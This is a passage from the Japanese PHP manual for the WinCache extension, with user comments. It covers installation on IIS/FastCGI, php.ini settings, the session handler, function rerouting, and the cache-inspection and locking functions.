  • PHP Opcode キャッシュ - PHP はスクリプト処理エンジンです。 テキストや PHP の命令からなるデータストリームを入力として読み込み、 別の形式 (通常は HTML 形式) のデータストリームを生成します。 つまり、ウェブクライアントからのリクエストを受け取るたびに、 PHP エンジンが PHP スクリプトの読み込みとパース、コンパイルそして実行を行っているわけです。 読み込み、パースそしてコンパイルはウェブサーバーの CPU やファイルシステムに負荷をかけ、 PHP ウェブアプリケーション全体のパフォーマンスに影響を及ぼします。 PHP バイトコード (opcode) キャッシュを使うと、コンパイル済みのスクリプトのバイトコードを共有メモリに置きます。 同じスクリプトが再びリクエストされたときには、PHP エンジンはこのバイトコードを再利用します。

    opcode キャッシングのサポートは、Wincache 2.0.0 で削除されました。 opcache を所有したいすべてのユーザーは、PHP 5.5.0 以降 PHP に含まれる OPcache 拡張を使用すべきです。

  • ファイルキャッシュ - PHP opcode のキャッシュを有効にしたとしても、 PHP エンジンはファイルシステム上のスクリプトファイルにアクセスしなければなりません。 PHP のスクリプトをリモートの UNC ファイル共有に置いている場合には、 ファイル操作はパフォーマンス面での深刻なオーバーヘッドとなります。 Windows Cache Extension for PHP にはファイルキャッシュ機能が組み込まれており、 PHP スクリプトファイルの内容を共有メモリに格納することができます。 これにより、PHP エンジンからのファイルシステム操作の量を減らすことができます。

  • ファイルパス解決キャッシュ - PHP スクリプトでは、 相対ファイルパス指定によるファイル操作やインクルードが頻繁に発生します。 このとき、PHP エンジンは相対パスを絶対パスに変換しなければなりません。 PHP のアプリケーションで、相対パス指定した PHP ファイルへのアクセスが多くなると、 パスの解決がアプリケーションのパフォーマンスに大きな影響を及ぼします。 Windows Cache Extension for PHP のファイルパス解決キャッシュを使うと、 相対パスと絶対パスの対応を保存しておくことができます。 これにより、PHP エンジンが行わなければならないパス解決の量を減らすことができます。

  • ユーザーキャッシュ (バージョン 1.1.0 以降で使用可能) - ユーザーキャッシュ API を使うと、PHP スクリプトから共有メモリキャッシュを使うことができます。 PHP のオブジェクトや変数をユーザーキャッシュに格納し、 別のリクエストでそれを再利用することができるのです。 これは PHP スクリプトのパフォーマンスを向上させ、 複数の PHP プロセスからのデータへのアクセスを共有することができます。

  • セッションハンドラ (バージョン 1.1.0 以降で使用可能) - WinCache セッションハンドラを使うと、PHP のセッションデータを共有メモリキャッシュに置くことができます。 セッションデータの読み書き時のファイルシステム操作が不要になり、 大量のデータを PHP セッションに格納するときのパフォーマンスが向上します。

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール手順
  • 実行時設定
  • WinCache 統計スクリプト
  • WinCache セッションハンドラ
  • WinCache 関数への切り替え
  • リソース型

User Contributed Notes

There are no user contributed notes for this page.


要件

この拡張モジュールは、現在は次の構成のみをサポートしています。

Windows OS

  • Windows XP SP3 上での IIS 5.1 および » FastCGI Extension
  • Windows Server 2003 上での IIS 6.0 および » FastCGI Extension
  • Windows Vista SP1 上での IIS 7.0 および FastCGI Module
  • Windows Server 2008 上での IIS 7.0 および FastCGI Module
  • Windows 7 上での IIS 7.5 および FastCGI Module
  • Windows Server 2008 R2 上での IIS 7.5 および FastCGI Module

PHP

  • PHP 5.2.X, Non-thread-safe build
  • PHP 5.3 X86, Non-thread-safe VC9 build

注意: WinCache 拡張モジュールは、IIS の設定で PHP を FastCGI 経由で動かすようにしている場合しか使えません。

User Contributed Notes

win_php at user dot com 28-Aug-2013 05:04
I finally fixed the problem by installing another freshly downloaded php install from windows.php.net. I think that the problem was that the php version in Easyphp is thread safe as opposed to non-thread safe which is recommended for IIS/FastCgi.
win_php at user dot com 27-Aug-2013 07:45
Is this supported on Windows 8? I downloaded the WinCache for php5.3 and the one for PHP 5.4. I tried on both and it failed in both cases with the same error:

C:\Program Files (x86)\EasyPHP-DevServer-13.1VC11\binaries\php\php_runningversion\php-cgi.exe - The FastCGI process exited unexpectedly

and yes, I am using php5.4, which comes with easyphp vc11 and I am telling IIS/FastCGI to look for php-cgi in the easyphp folder. That has no problems, except when I try to load this extension, which hoses php for IIS.
lslight at no-log dot org 27-Aug-2013 09:48
PHP 5.4 X86, Non-thread-safe VC9 build, supported with WinCache 1.3.x
PHP 5.5 X86, Non-thread-safe VC11 build, supported with WinCache 1.3.5


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/wincache.

この拡張モジュールには二種類のパッケージがあります。PHP 5.2.X 用と PHP 5.3.X 用です。使っている PHP のバージョンにあわせて適切なほうを選びましょう。

この拡張モジュールをインストールする手順は次のとおりです。

  1. どこか一時的な場所にパッケージを展開します。

  2. php_wincache.dll を PHP の拡張モジュール用フォルダにコピーします。 このフォルダは、通常は PHP のバイナリファイルがあるフォルダと同じ場所にあって "ext" という名前です。たとえば C:\Program Files\PHP\ext のようになります。

  3. php.ini ファイルをテキストエディタで開きます。通常は PHP のバイナリファイルと同じ場所にあります。 たとえば C:\Program Files\PHP\php.ini のようになります。

  4. php.ini ファイルの最後に extension = php_wincache.dll という行を追加します。

  5. php.ini ファイルを保存して終了します。

  6. IIS Application Pools for PHP をリサイクルして設定の変更を適用します。 この拡張モジュールが有効になったことを確かめるには、 phpinfo 関数をコールする PHP のコードを書いた phpinfo.php というファイルをつくります。

  7. PHP を使う IIS ウェブサイトのルートフォルダに phpinfo.php を保存し、 http://localhost/phpinfo.php を開きます。そして、表示されたウェブページから wincache というセクションを探します。 拡張モジュールが有効になっていれば、 phpinfo の出力に WinCache の設定項目が含まれるはずです。

注意: 拡張モジュールが有効になっていることを確認し終えたら、忘れずに phpinfo.php をウェブサイトのルートフォルダから削除しておきましょう。

User Contributed Notes

junk_1105 at hotmail dot com 31-Jan-2017 01:23
The wincache version for 7.0 is compiled for php7.dll not the thread safe php7ts.dll.  You may need to compile the source for wincache or change to the non thread safe version.
bobby mcbobbins 02-Nov-2016 11:53
If you're looking for the DLLs for WinCache 2.0.0 (for use with PHP7+), here's a quick outline of the steps I took:

- Download the appropriate build from wincache's repository on sourceforge
- Run the .exe and extract the archive to a temporary directory
- Using 7zip, unpack the .msi within that temporary directory
- Add the .dll extension to the file named "php_wincache"
nils dot luxton at gmail dot com 24-Jun-2011 04:10
If you're after pre-compiled binaries for WinCache, you can find them here: http://www.iis.net/download/WinCacheForPhp on the right-hand side of the page (under the Web Platform Installer button)


実行時設定

php.ini の設定により動作が変化します。

この表は、WinCache 拡張モジュールが提供する設定項目をまとめたものです。

WinCache の設定オプション
名前 | デフォルト | 最小 | 最大 | 変更可能 | 変更履歴
wincache.fcenabled | "1" | "0" | "1" | PHP_INI_ALL | WinCache 1.0.0 以降で使用可能
wincache.fcenabledfilter | "NULL" | "NULL" | "NULL" | PHP_INI_SYSTEM | WinCache 1.0.0 以降で使用可能
wincache.fcachesize | "24" | "5" | "255" | PHP_INI_SYSTEM | WinCache 1.0.0 以降で使用可能
wincache.fcndetect | "1" | "0" | "1" | PHP_INI_SYSTEM | WinCache 1.1.0 以降で使用可能
wincache.maxfilesize | "256" | "10" | "2048" | PHP_INI_SYSTEM | WinCache 1.0.0 以降で使用可能
wincache.ocenabled | "1" | "0" | "1" | PHP_INI_ALL | WinCache 1.0.0 以降で使用可能、2.0.0.0 で削除
wincache.ocenabledfilter | "NULL" | "NULL" | "NULL" | PHP_INI_SYSTEM | WinCache 1.0.0 以降で使用可能、2.0.0.0 で削除
wincache.ocachesize | "96" | "15" | "255" | PHP_INI_SYSTEM | WinCache 1.0.0 以降で使用可能、2.0.0.0 で削除
wincache.filecount | "4096" | "1024" | "16384" | PHP_INI_SYSTEM | WinCache 1.0.0 以降で使用可能
wincache.chkinterval | "30" | "0" | "300" | PHP_INI_SYSTEM | WinCache 1.0.0 以降で使用可能
wincache.ttlmax | "1200" | "0" | "7200" | PHP_INI_SYSTEM | WinCache 1.0.0 以降で使用可能
wincache.enablecli | 0 | 0 | 1 | PHP_INI_SYSTEM | WinCache 1.0.0 以降で使用可能
wincache.ignorelist | NULL | NULL | NULL | PHP_INI_ALL | WinCache 1.0.0 以降で使用可能
wincache.namesalt | NULL | NULL | NULL | PHP_INI_SYSTEM | WinCache 1.0.0 以降で使用可能
wincache.ucenabled | 1 | 0 | 1 | PHP_INI_SYSTEM | WinCache 1.1.0 以降で使用可能
wincache.ucachesize | 8 | 5 | 85 | PHP_INI_SYSTEM | WinCache 1.1.0 以降で使用可能
wincache.scachesize | 8 | 5 | 85 | PHP_INI_SYSTEM | WinCache 1.1.0 以降で使用可能
wincache.rerouteini | NULL | NULL | NULL | PHP_INI_SYSTEM | WinCache 1.2.0 以降で使用可能。1.3.7 で削除。
wincache.reroute_enabled | 1 | 0 | 1 | PHP_INI_SYSTEM | PHP_INI_PERDIR | WinCache 1.3.7 以降で使用可能
wincache.srwlocks | 1 | 0 | 1 | PHP_INI_SYSTEM | WinCache 1.3.6.3 以降で使用可能、2.0.0.0 で削除
wincache.filemapdir | NULL | NULL | NULL | PHP_INI_SYSTEM | WinCache 1.3.7.4 以降で使用可能
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

wincache.fcenabled bool
ファイルキャッシュ機能を有効あるいは無効にします。
wincache.fcenabledfilter string
ファイルキャッシュ有効あるいは無効にする IIS ウェブサイト識別子の一覧を、 カンマ区切りで指定します。この設定は wincache.fcenabled との組み合わせで機能します。 wincache.fcenabled が 1 の場合は、 wincache.fcenabledfilter のファイルキャッシュが無効になります。 wincache.fcenabled が 0 の場合は wincache.fcenabledfilter のファイルキャッシュが有効になります。
wincache.fcachesize int
ファイルキャッシュに割り当てる最大メモリ容量 (メガバイト単位) を指定します。 キャッシュされたファイルの総容量がこの設定値を超えると、 いちばん古いファイルから順にファイルキャッシュから取り除かれます。
wincache.fcndetect bool
ファイルの変更通知検出機能を有効あるいは無効にします。 ファイル変更通知がサポートされているときは、対応するファイルがファイスシステム上で変更されるとすぐに opcode キャッシュおよびファイルキャッシュも更新します。 ファイル変更通知をサポートしていないとき (ネットワークファイル共有を使っている場合など) は、 wincache.chkinterval で指定した間隔ごとに wincache がファイル更新を確認します。
wincache.maxfilesize int
キャッシュする個々のファイルの最大サイズ (キロバイト単位) を指定します。 この大きさを超えるサイズのファイルはキャッシュされません。 この設定は、ファイルにのみ適用されます。
wincache.ocenabled bool
警告

このオプションは 2.0.0.0 で削除されました。

opcode キャッシュ機能を有効あるいは無効にします。
wincache.ocenabledfilter string
opcode キャッシュ有効あるいは無効にする IIS ウェブサイト識別子の一覧を、 カンマ区切りで指定します。この設定は wincache.ocenabled との組み合わせで機能します。 wincache.ocenabled が 1 の場合は、 wincache.ocenabledfilter に指定したサイトの opcode キャッシュを無効にします。 wincache.ocenabled が 0 の場合は、 wincache.ocenabledfilter に指定したサイトの opcode キャッシュを有効にします。 このオプションは 2.0.0.0 で削除されました。
wincache.ocachesize int
警告

このオプションは 2.0.0.0 で削除されました。

opcode キャッシュに割り当てる最大メモリ容量 (メガバイト単位) を指定します。 キャッシュされた opcode の総容量がこの設定値を超えると、 いちばん古い opcode から順に opcode キャッシュから取り除かれます。 opcode キャッシュのサイズは、少なくともファイルキャッシュの三倍以上でなければならないことに注意しましょう。 そうなっていなければ、opcode キャッシュのサイズが自動的に拡張されます。
wincache.filecount int
この拡張モジュールがどれくらいの数のファイルをキャッシュすることを想定しているのかを指定し、 起動時に適切なサイズのメモリを確保できるようにします。ファイルの数がこの設定値を超えると、 WinCache は必要に応じてさらにメモリを確保します。
wincache.chkinterval int
ファイルの変更チェックとそれに伴うキャッシュの更新を何秒間隔で行うかを指定します。 0 にすると、キャッシュの更新機能が無効になります。 その場合は、キャッシュエントリが scavenger で削除されたり IIS アプリケーションプールがリサイクルされたり wincache_refresh_if_changed 関数がコールされたりしない限り ファイルの変更がキャッシュに反映されなくなります。
wincache.ttlmax int
未使用状態のキャッシュエントリの最大生存期間 (秒単位) を定義します。 これを 0 にすると、キャッシュの scavenger を無効にします。 そのため、IIS ワーカープロセスが生き続ける限りキャッシュエントリは削除されなくなります。
wincache.enablecli bool
PHP がコマンドライン (CLI) モードで動いているときのキャッシュを有効にするかどうかを設定します。
wincache.ignorelist string

この拡張モジュールでキャッシュをしないファイルの一覧を定義します。 ファイルリストにはファイル名のみを指定し、パイプ記号 "|" で区切ります。

例1 wincache.ignorelist の例

wincache.ignorelist = "index.php|misc.php|admin.php"

wincache.namesalt string
この拡張モジュールが使うオブジェクトを共有メモリに格納する際に、 そのオブジェクトの名前に使う文字列を定義します。 IIS ワーカープロセス内の別のアプリケーションとの間で名前の衝突を起こさないようにするために、 これを使います。namesalt 文字列の長さは最大 8 文字までです。
wincache.ucenabled bool
ユーザーキャッシュ機能を有効あるいは無効にします。
wincache.ucachesize int
ユーザーキャッシュに割り当てる最大メモリ容量 (メガバイト単位) を指定します。 ユーザーキャッシュに格納された変数のサイズがこの設定値を超えると、 いちばん古い変数から順にキャッシュから取り除かれます。
wincache.scachesize int
セッションキャッシュに割り当てる最大メモリ容量 (メガバイト単位) を指定します。 セッションキャッシュに格納されたデータのサイズがこの設定値を超えると、 いちばん古いデータから順にキャッシュから取り除かれます。
wincache.rerouteini string
警告

このオプションは 1.3.7 で削除されました。1.3.7 以降で同様の機能を使うには、wincache.reroute_enabled を参照ください。

reroute.ini ファイルへの絶対パスあるいは相対パスを指定します。 このファイルには、同等の WinCache 関数で実装を置き換える PHP 関数の一覧を記述します。 相対パスで指定した場合は、php-cgi.exe の場所を基準としたパスとみなします。
wincache.reroute_enabled bool
ファイルキャッシュを用いたファイル入出力関数群のリルートを有効あるいは無効にします。
wincache.srwlocks bool
警告

このオプションは 2.0.0.0 で削除されました。

共有のリーダーロック／ライターロックを有効あるいは無効にします。WinCache におけるデッドロックのトラブルシューティングの際には、無効にしておくと便利です。
wincache.filemapdir string
WinCache が共有メモリセグメント用の一時ファイルを格納するために使うディレクトリへの絶対パスを指定します。 このディレクトリはローカルマシン上のものでなければいけません。ネットワークファイルシステム上のディレクトリは使えません。 ディレクトリを指定しなかった場合は、WinCache は Windows System Page File をすべての共有メモリセグメント用に使います。

User Contributed Notes

software journalist 03-Feb-2020 05:17
wincache.php showed in Session Cache Overview that the Available Memory was returning NAN B.

A Google search returned nothing specific to this.

Stopping the App Pool and Deleting the *session*.tmp file in the windows temp directory solved this issue. (Thanks to previous noter)
ericsten at php dot net 02-Feb-2015 11:33
[Editor's note: fixed typo]

Just a quick note about something I've discovered through debugging a recent WinCache issue:

If you change the wincache.scachesize value, you MUST shutdown all php-cgi.exe instances and manually delete the wincache_session_*.tmp file.

The wincache_session_*.tmp file will in the directory specified by session.save_path in the php.ini file.

An example session file name would look like: wincache_session_1_565779.tmp

If you don't delete this file, you will run into corruption in cross-process shared memory segments for the WinCache session handler.  These will show up as 500 errors from your IIS server.

Thx!

    --E.


WinCache 統計スクリプト

WinCache のインストールパッケージには wincache.php という PHP スクリプトが含まれています。 これを使えば、キャッシュ情報や統計情報を取得することができます。

WinCache 拡張モジュールのインストールを Microsoft Web Platform Installer で行った場合は、このスクリプトの場所は %SystemDrive%\Program Files\IIS\Windows Cache for PHP\ となります。64 ビット版の Windows サーバー OS の場合は %SystemDrive%\Program Files (x86)\IIS\Windows Cache for PHP です。拡張モジュールを手動でインストールした場合は、 インストールパッケージを展開した場所と同じフォルダに wincache.php があります。

wincache.php を使うには、 ウェブサイトのルートフォルダあるいはその配下のサブフォルダにこのファイルをコピーします。 スクリプトを保護するために、このファイルをテキストエディタで開いて、定数 USERNAME と PASSWORD の値を変更しましょう。サーバー上で何らかの IIS 認証を有効にしている場合は、 コメントに書かれている指示に従います。

例1 wincache.php 用の認証設定

<?php
/**
 * ======================== CONFIGURATION SETTINGS ==============================
 * If you do not want to use authentication for this page, set USE_AUTHENTICATION to 0.
 * If you use authentication then replace the default password.
 */
define('USE_AUTHENTICATION', 1);
define('USERNAME', 'wincache');
define('PASSWORD', 'wincache');

/**
 * The Basic PHP authentication will work only when IIS is configured to support
 * Anonymous Authentication' and nothing else. If IIS is configured to support/use
 * any other kind of authentication like Basic/Negotiate/Digest etc, this will not work.
 * In that case use the array below to define the names of users in your
 * domain/network/workgroup which you want to grant access to.
 */
$user_allowed = array('DOMAIN\user1', 'DOMAIN\user2', 'DOMAIN\user3');

/**
 * If the array contains string 'all', then all the users authenticated by IIS
 * will have access to the page. Uncomment the below line and comment above line
 * to grant access to all users who gets authenticated by IIS.
 */
/* $user_allowed = array('all'); */

/** ===================== END OF CONFIGURATION SETTINGS ========================== */
?>

注意: 組み込みの認証あるいはサーバーの認証機構を使って、常に wincache.php スクリプトを保護するようにしましょう。 このスクリプトを保護せずに放置しておくと、アプリケーションやウェブサーバーを危険にさらすことになってしまいます。

User Contributed Notes

There are no user contributed notes for this page.


WinCache セッションハンドラ

WinCache セッションハンドラ (WinCache 1.1.0 以降で使用可能) を使うと、 PHP のセッションデータを共有メモリ上のセッションキャッシュに格納できるようになります。 デフォルトのファイル保存方式のかわりに共有メモリを使うことで、 大量のデータをセッションで扱う PHP アプリケーションのパフォーマンスを向上させることができます。 Wincache のセッションキャッシュはファイルをバックに置いた共有メモリなので、 IIS アプリケーションプールをリサイクルするときにもセッションのデータが失われません。

PHP で WinCache セッションハンドラを使うには、php.ini の session.save_handler を wincache にします。デフォルトでは、Windows のテンポラリファイルと同じ場所にセッションデータを保存します。 セッションファイルの場所を変えるには session.save_path ディレクティブを設定します。

例1 WinCache セッションハンドラの有効化

session.save_handler = wincache
session.save_path = C:\inetpub\temp\session\

User Contributed Notes

some at email dot com 16-Nov-2011 01:23
IF you use Apache and Session not work add to FCGID

DefaultInitEnv APP_POOL_ID "DefaultAppPool"
sethm at uoregon dot edu 06-Oct-2010 10:04
Just as an fyi to anyone who has similar issues. WinCache v1.1.x would not write sessions to files under certain conditions. This means that all sessions are lost whenever an app-pool recycle occur. Here is the work around:

If your app-pool name has periods (.) in it, change them to underscores (_). So an app-pool named www.somesite.com should be renamed to www_somesite_com.

You can see the discussion here:
http://forums.iis.net/p/1171996/1957839.aspx#1957839


WinCache 関数への切り替え

注意: wincache.rerouteini は WinCache 1.3.7.0 で削除されました。かわりに、自動的な関数置き換え機能を利用します。 wincache.reroute_enabled を参照ください。

WinCache の関数切り替え機能 (WinCache 1.2.0 以降で使用可能で、WinCache 1.3.7.0 で削除されました) を使うと、 その用途向けに最適化した同等の関数で組み込みの PHP 関数を置き換えることができます。 WinCache 拡張モジュールには、PHP のファイル操作関数を Windows 向けに最適化した実装が含まれています。PHP でネットワーク共有上のファイルにアクセスする必要がある場合などに、 これを使うとアプリケーションのパフォーマンスを向上させることができるでしょう。 最適化した実装が用意されている関数は、次のとおりです。

  • file_exists
  • file_get_contents
  • readfile
  • is_readable
  • is_writable
  • is_dir
  • realpath
  • filesize

WinCache の関数切り替え機能を使えるよう設定するには、WinCache のインストールパッケージに含まれている reroute.ini ファイルを使います。このファイルを php.ini があるディレクトリにコピーしましょう。 それから php.ini に wincache.rerouteini の設定を追加し、ここに reroute.ini ファイルへの絶対パスあるいは相対パスを指定します。

例1 WinCache の関数切り替えの有効化

wincache.rerouteini = C:\PHP\reroute.ini

注意: WinCache の関数切り替え機能を使う場合は、ファイルキャッシュのサイズを増やすことを推奨します。 このサイズは wincache.fcachesize を使って設定します。

reroute.ini ファイルには、PHP の関数とそれに対応する WinCache の関数のマッピングを記述します。 ファイルの各行に、次の構文で関数のマッピングを定義します。

<PHP の関数名>:[<関数のパラメータの数>]=<wincache の関数名>

ファイルの例を以下に示します。この例では、PHP の関数 file_get_contents() がコールされると、それが wincache_file_get_contents() へのコールに置き換えられます。 ただし、関数に渡されたパラメータが 2 個以下の場合に限ります。パラメータ数の指定が役立つのは、 置き換え用の関数が元の関数のすべてのパラメータに対応しているわけではないという場合です。

例2 Reroute.ini ファイルの内容

[FunctionRerouteList]
file_exists=wincache_file_exists
file_get_contents:2=wincache_file_get_contents
readfile:2=wincache_readfile
is_readable=wincache_is_readable
is_writable=wincache_is_writable
is_writeable=wincache_is_writable
is_file=wincache_is_file
is_dir=wincache_is_dir
realpath=wincache_realpath
filesize=wincache_filesize

User Contributed Notes

deivid dot garcia dot garcia at gmail dot com 26-Mar-2015 12:22
Prior to Wincache 1.3.7.0 rerouting was broken, see this in the official forums:

 http://forums.iis.net/t/1213205.aspx?Function+reroute+not+working]

After that version, file rerouting functions are enabled by default, to disable them use:

 wincache.reroute_enabled=0


WinCache 関数

目次

  • wincache_fcache_fileinfo — ファイルキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_fcache_meminfo — ファイルキャッシュのメモリ使用状況についての情報を取得する
  • wincache_lock — 指定したキーで排他ロックを確保する
  • wincache_ocache_fileinfo — opcode キャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_ocache_meminfo — opcode キャッシュのメモリ使用状況についての情報を取得する
  • wincache_refresh_if_changed — キャッシュされたファイルのキャッシュエントリをリフレッシュする
  • wincache_rplist_fileinfo — ファイルパス解決キャッシュについての情報を取得する
  • wincache_rplist_meminfo — ファイルパス解決キャッシュのメモリ使用状況についての情報を取得する
  • wincache_scache_info — セッションキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_meminfo — セッションキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_add — 変数が既にキャッシュに存在しない場合にのみ変数をユーザーキャッシュに追加する
  • wincache_ucache_cas — 変数を古い値と比較して新しい値を代入する
  • wincache_ucache_clear — ユーザーキャッシュの中身全体を削除する
  • wincache_ucache_dec — キーに関連づけられた値を減少させる
  • wincache_ucache_delete — 変数をユーザーキャッシュから削除する
  • wincache_ucache_exists — 変数がユーザーキャッシュに存在するかどうかを調べる
  • wincache_ucache_get — ユーザーキャッシュに格納された変数を取得する
  • wincache_ucache_inc — キーに関連づけられた値を増加させる
  • wincache_ucache_info — ユーザーキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_ucache_meminfo — ユーザーキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_set — 変数をユーザーキャッシュに追加し、変数が既にキャッシュに存在する場合はそれを上書きする
  • wincache_unlock — 指定したキーの排他ロックを解放する

User Contributed Notes

There are no user contributed notes for this page.


ファイルキャッシュにキャッシュされたファイルについての情報を取得する

  • ≪ WinCache 関数
  • wincache_fcache_meminfo ≫
  • PHP Manual
  • WinCache 関数
  • ファイルキャッシュにキャッシュされたファイルについての情報を取得する

wincache_fcache_fileinfo

(PECL wincache >= 1.0.0)

wincache_fcache_fileinfo — ファイルキャッシュにキャッシュされたファイルについての情報を取得する

説明

wincache_fcache_fileinfo ( bool $summaryonly = false ) : array|false

ファイルキャッシュの中身とその利用状況についての情報を取得します。

パラメータ

summaryonly

返される配列に、ファイルキャッシュの概要に加えて個々のキャッシュエントリの情報を含めるかどうか。

返り値

ファイルキャッシュについてのメタデータの配列を返します。失敗した場合に false を返します

この関数が返す配列には次の要素が含まれます。

  • total_cache_uptime - ファイルキャッシュがアクティブになってからの経過秒数。
  • total_file_count - 現在ファイルキャッシュに入っているファイルの数。
  • total_hit_count - ファイルキャッシュからファイルが取り出された回数。
  • total_miss_count - ファイルがファイルキャッシュに見つからなかった回数。

  • file_entries - キャッシュされているファイルに関する情報を含む配列。

    • file_name - キャッシュされているファイルの絶対パスでのファイル名。
    • add_time - ファイルキャッシュに追加されてからの経過秒数。
    • use_time - ファイルキャッシュ内でアクセスされてからの経過秒数。
    • last_check - ファイルの変更をチェックされてからの経過秒数。
    • hit_count - ファイルがキャッシュから取り出された回数。
    • file_size - キャッシュされたファイルのサイズ (バイト単位)。

例

例1 wincache_fcache_fileinfo() の例

<pre>
<?php
print_r(wincache_fcache_fileinfo());
?>
</pre>

上の例の出力は以下となります。

Array
(   [total_cache_uptime] => 3234
    [total_file_count] => 5
    [total_hit_count] => 0
    [total_miss_count] => 1
    [file_entries] => Array
        (
            [1] => Array
                (
                    [file_name] => c:\inetpub\wwwroot\checkcache.php
                    [add_time] => 1
                    [use_time] => 0
                    [last_check] => 1
                    [hit_count] => 1
                    [file_size] => 2435
                )
            [2] => Array (...iterates for each cached file)
        )
)

参考

  • wincache_fcache_meminfo() - ファイルキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ocache_fileinfo() - opcode キャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_ocache_meminfo() - opcode キャッシュのメモリ使用状況についての情報を取得する
  • wincache_rplist_fileinfo() - ファイルパス解決キャッシュについての情報を取得する
  • wincache_rplist_meminfo() - ファイルパス解決キャッシュのメモリ使用状況についての情報を取得する
  • wincache_refresh_if_changed() - キャッシュされたファイルのキャッシュエントリをリフレッシュする
  • wincache_ucache_meminfo() - ユーザーキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_info() - ユーザーキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_info() - セッションキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_meminfo() - セッションキャッシュのメモリ使用状況についての情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


ファイルキャッシュのメモリ使用状況についての情報を取得する

  • ≪ wincache_fcache_fileinfo
  • wincache_lock ≫
  • PHP Manual
  • WinCache 関数
  • ファイルキャッシュのメモリ使用状況についての情報を取得する

wincache_fcache_meminfo

(PECL wincache >= 1.0.0)

wincache_fcache_meminfo — ファイルキャッシュのメモリ使用状況についての情報を取得する

説明

wincache_fcache_meminfo ( ) : array|false

ファイルキャッシュによるメモリ使用状況についての情報を取得します。

返り値

ファイルキャッシュのメモリ使用状況についてのメタデータの配列を返します。失敗した場合に false を返します

この関数が返す配列には次の要素が含まれます。

  • memory_total - ファイルキャッシュ用に確保されたメモリのバイト数。
  • memory_free - ファイルキャッシュで使える空きメモリのバイト数。
  • num_used_blks - ファイルキャッシュが使っているメモリブロック数。
  • num_free_blks - ファイルキャッシュで使える空きメモリブロック数。
  • memory_overhead - ファイルキャッシュが内部的に使っているメモリのバイト数。

例

例1 wincache_fcache_meminfo() の例

<pre>
<?php
print_r(wincache_fcache_meminfo());
?>
</pre>

上の例の出力は以下となります。

Array
(
    [memory_total] => 134217728
    [memory_free] => 131339120
    [num_used_blks] => 361
    [num_free_blks] => 3
    [memory_overhead] => 5856
)

参考

  • wincache_fcache_fileinfo() - ファイルキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_ocache_fileinfo() - opcode キャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_ocache_meminfo() - opcode キャッシュのメモリ使用状況についての情報を取得する
  • wincache_rplist_fileinfo() - ファイルパス解決キャッシュについての情報を取得する
  • wincache_rplist_meminfo() - ファイルパス解決キャッシュのメモリ使用状況についての情報を取得する
  • wincache_refresh_if_changed() - キャッシュされたファイルのキャッシュエントリをリフレッシュする
  • wincache_ucache_meminfo() - ユーザーキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_info() - ユーザーキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_info() - セッションキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_meminfo() - セッションキャッシュのメモリ使用状況についての情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


指定したキーで排他ロックを確保する

  • ≪ wincache_fcache_meminfo
  • wincache_ocache_fileinfo ≫
  • PHP Manual
  • WinCache 関数
  • 指定したキーで排他ロックを確保する

wincache_lock

(PECL wincache >= 1.1.0)

wincache_lock — 指定したキーで排他ロックを確保する

説明

wincache_lock ( string $key , bool $isglobal = false ) : bool

指定したキーについての排他ロックを確保します。 ロックを確保するまでは、現在のスクリプトの実行はブロックされます。 ロックを確保できたら、その後は他のスクリプトから同じキーのロックを要求があってもそれをブロックします。 現在のスクリプトが wincache_unlock() でロックを解放するまでは他のスクリプトからロックを確保できません。

警告

wincache_lock() および wincache_unlock() を使っていると、FastCGI のようなマルチプロセス環境において PHP スクリプトがデッドロックを引き起こすことがあります。 本当にそれが必要である場合でない限り、これらの関数は使わないようにしましょう。 キャッシュ上でのさまざまな操作の大半は、これらの関数を使う必要のないものです。

パラメータ

key

ロックを取得したいキャッシュ内のキーの名前。

isglobal

ロックのスコープをシステム全体にするかローカルにするかを制御します。 ローカルロックのスコープは、IIS FastCGI のアプリケーションプール内 あるいは同一の親プロセス ID を持つ PHP プロセス群全体となります。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 wincache_lock() の使用

<?php
$fp = fopen("/tmp/lock.txt", "r+");
if (wincache_lock("lock_txt_lock")) { // 排他ロックを確保します
    ftruncate($fp, 0); // ファイルを切り詰めます
    fwrite($fp, "Write something here\n");
    wincache_unlock("lock_txt_lock"); // ロックを解放します
} else {
    echo "Couldn't get the lock!";
}
fclose($fp);
?>

参考

  • wincache_unlock() - 指定したキーの排他ロックを解放する
  • wincache_ucache_set() - 変数をユーザーキャッシュに追加し、変数が既にキャッシュに存在する場合はそれを上書きする
  • wincache_ucache_get() - ユーザーキャッシュに格納された変数を取得する
  • wincache_ucache_delete() - 変数をユーザーキャッシュから削除する
  • wincache_ucache_clear() - ユーザーキャッシュの中身全体を削除する
  • wincache_ucache_exists() - 変数がユーザーキャッシュに存在するかどうかを調べる
  • wincache_ucache_meminfo() - ユーザーキャッシュのメモリ使用状況についての情報を取得する
  • wincache_ucache_info() - ユーザーキャッシュにキャッシュされたファイルについての情報を取得する
  • wincache_scache_info() - セッションキャッシュにキャッシュされたファイルについての情報を取得する

User Contributed Notes

PrisonDoom 28-Jun-2019 10:04
The external link was off and the backslash "\" most of time are used for "scape character". Anyway, regards.
donraman at microsoft dot com 23-Apr-2010 06:11
